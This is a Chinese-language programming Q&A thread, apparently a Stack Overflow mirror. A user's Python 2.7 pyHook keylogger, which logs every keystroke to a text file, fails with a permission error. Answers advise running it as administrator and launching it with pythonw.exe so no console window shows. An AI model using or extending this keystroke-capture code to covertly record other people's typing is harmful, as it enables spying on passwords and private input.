【问题标题】:Python 2.7 keyloggerPython 2.7 键盘记录器
【发布时间】:2023-03-07 06:46:01
【问题描述】:

我刚刚用 python 2.7 做了一个键盘记录器,但它不起作用。这是键盘记录器代码:

import pyHook, pythoncom, sys, logging

file_log = 'C:\keyloggeroutput.txt'

def OnKeyboardEvent(event):
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
    print "You pressed: ", chr(event.Ascii)
    logging.log(10,chr(event.Ascii))
    return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()

这是我得到的错误:

Traceback (most recent call last):
  File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
    return func(event)
  File "<stdin>", line 2, in OnKeyboardEvent
  File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig
    hdlr = FileHandler(filename, mode)
  File "C:\Python27\lib\logging\__init__.py", line 913, in __init__
    StreamHandler.__init__(self, self._open())
  File "C:\Python27\lib\logging\__init__.py", line 943, in _open
    stream = open(self.baseFilename, self.mode)
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

我的python文件夹在这里:

C:\Python27

我怎样才能使键盘记录器工作?

【问题讨论】:

  • 修复它。 (如果您需要更多详细信息,请提供更多信息。)
  • 你想要什么细节?

标签: python windows python-2.7 cmd keylogger


【解决方案1】:

我可以建议尝试在您的文档中创建文件

IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt'

【讨论】:

    【解决方案2】:

    尝试使用本地管理员权限从 windows 或 linux 中的 root 运行脚本。 在 Windows 中,您可以以管理员身份打开 powershell/cmd shell。 在 linux 中,在脚本中使用 sudo 命令:sudo python_script.py args

    在 OP 发表评论后: 尝试使用 pythonw.exe 而不是 python.exe 运行它:

    C:\Python27\pythonw.exe your_script.pyw
    

    PYW 文件类型主要与 Python 的“Python”相关联 软件基金会。 PYW 文件在 Windows 中用于指示 脚本需要使用 PYTHONW.EXE 而不是 PYTHON.EXE 运行 为了防止 DOS 控制台弹出来显示输出。 这个补丁可以导入这样的脚本,以防它们 也可用作模块。

    【讨论】:

    • 当我以管理员身份在 cmd 中运行“python keylogger.pyw”时出现错误:文件“keylogger.pyw”,第 13 行 pythoncom.PumpMessages()´╗┐ ^ SyntaxError: invalid syntax跨度>
    • 这并没有给我一个错误,但我找不到 keyloggeroutput.txt 文件
    猜你喜欢
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多